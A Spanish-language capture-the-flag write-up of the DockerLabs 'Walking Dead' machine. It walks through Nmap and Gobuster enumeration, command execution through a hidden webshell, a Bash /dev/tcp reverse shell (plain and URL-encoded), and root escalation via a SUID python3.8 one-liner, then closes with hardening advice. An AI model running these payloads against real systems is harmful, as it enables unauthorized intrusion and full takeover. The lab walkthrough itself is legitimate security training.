> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/walkingdead.md).

# Walking Dead

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone una pagina web sencilla inspirada en **The Walking Dead**. La cadena empieza con enumeracion web, continua con una webshell oculta que permite ejecutar comandos y termina con una escalada de privilegios mediante un binario `python3.8` con permisos SUID.

***

## Reconocimiento

Se comienza realizando un escaneo de versiones con Nmap contra la maquina objetivo:

```bash
nmap -sV -p- -T4 172.17.0.2
```

![Nmap](/files/HRPD737TeXk44XtKaPKv)

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version                    |
| ------ | -------- | -------------------------- |
| 22/tcp | SSH      | OpenSSH 8.2p1 Ubuntu       |
| 80/tcp | HTTP     | Apache httpd 2.4.41 Ubuntu |

Como el servicio web es el vector mas expuesto, se continua la enumeracion sobre el puerto `80`.

***

## Enumeracion web

Al acceder al sitio se muestra una pagina estatica con el titulo **The Walking Dead - CTF**.

![Web principal](/files/UBCAXR5OaE6QrVkSx1NB)

Revisando el codigo fuente de la pagina se encuentra un enlace oculto hacia un panel:

```html
<a href="hidden/.shell.php">Access Panel</a>
```

![Codigo fuente](/files/ulq9Jlhk8dvd160uC4sc)

Tambien se realiza fuerza bruta de directorios y archivos con Gobuster:

```bash
gobuster dir -u http://172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,zip,php,txt \
  -b 404 -t 60
```

![Gobuster](/files/hxpCTWTLMLEBRNs1644c)

Entre los recursos encontrados destacan:

| Recurso       | Codigo | Comentario        |
| ------------- | ------ | ----------------- |
| `/index.html` | 200    | Pagina principal  |
| `/backup.txt` | 200    | Archivo expuesto  |
| `/hidden/`    | 301    | Directorio oculto |

El enlace oculto apunta a:

```
http://172.17.0.2/hidden/.shell.php
```

***

## Ejecucion de comandos

Se prueba si la webshell acepta comandos mediante el parametro `cmd`:

```
http://172.17.0.2/hidden/.shell.php?cmd=id
```

![Comando id](/files/AP2pAP898VekjI9JZOHk)

La respuesta confirma ejecucion remota de comandos como `www-data`:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

***

## Reverse shell

Para conseguir una shell interactiva se prepara una reverse shell Bash hacia la IP atacante `172.17.0.1` y el puerto `4444`.

![Reverse shell generator](/files/ijspP5WCSGdXEiVfshzc)

El payload usado es:

```bash
bash -i >& /dev/tcp/172.17.0.1/4444 0>&1
```

Como el comando se envia por URL, se codifica para evitar problemas con espacios y caracteres especiales:

![URL encoding](/files/2pAu14iOSuaMmFYktZ5W)

En la maquina atacante se deja un listener con Netcat:

```bash
nc -lvnp 4444
```

Despues se ejecuta el payload desde el parametro `cmd`:

```
http://172.17.0.2/hidden/.shell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F4444%200%3E%261%22
```

![Ejecucion del payload](/files/XNEqVqCBHno7fY99glDU)

Se recibe la conexion correctamente como `www-data`:

![Reverse shell recibida](/files/LIdpvz99LsVmA1EnNjx1)

***

## Enumeracion local

Una vez dentro de la maquina se intenta comprobar privilegios con `sudo -l`, pero no se dispone de password para `www-data`.

Despues se buscan binarios con el bit SUID activo:

```bash
find / -perm -4000 -type f 2>/dev/null
```

![SUID](/files/uR8ZGzUkmgKF0eiZ27Zg)

Entre los binarios encontrados destaca:

```
/usr/bin/python3.8
```

Que `python3.8` tenga permisos SUID es critico, porque puede permitir ejecutar codigo manteniendo privilegios efectivos de `root`.

***

## Escalada de privilegios

En GTFOBins se revisa la tecnica para abusar de Python cuando tiene el bit SUID activo.

![GTFOBins Python SUID](/files/zmRaMqlE65UIQTv8TNIE)

Se ejecuta el payload adaptado al binario vulnerable:

```bash
/usr/bin/python3.8 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

![Root](/files/zRQmsxL9JUXrahpB5rR4)

El parametro `-p` conserva los privilegios efectivos de la shell. Al ejecutar `whoami`, el resultado confirma la escalada:

```
root
```

***

## Conclusion

La maquina se compromete aprovechando una webshell oculta accesible desde el codigo fuente de la pagina principal. Mediante el parametro `cmd` se consigue ejecucion remota de comandos como `www-data`, se lanza una reverse shell y finalmente se escala a `root` abusando de `python3.8` con permisos SUID.

### Puntos clave

| Fase            | Tecnica                  | Resultado                 |
| --------------- | ------------------------ | ------------------------- |
| Reconocimiento  | Nmap                     | SSH y HTTP expuestos      |
| Enumeracion web | Codigo fuente y Gobuster | Ruta `/hidden/.shell.php` |
| Acceso inicial  | RCE por parametro `cmd`  | Comandos como `www-data`  |
| Shell           | Reverse shell Bash       | Acceso interactivo        |
| Escalada        | SUID `python3.8`         | Shell como `root`         |

### Recomendaciones

* No dejar webshells ni paneles ocultos dentro del document root.
* Evitar confiar en enlaces "ocultos" en HTML como mecanismo de seguridad.
* Restringir la ejecucion de comandos desde aplicaciones web.
* Revisar periodicamente binarios SUID y eliminar permisos innecesarios.
* Monitorizar archivos sensibles o sospechosos dentro de rutas publicas del servidor web.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/walkingdead.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
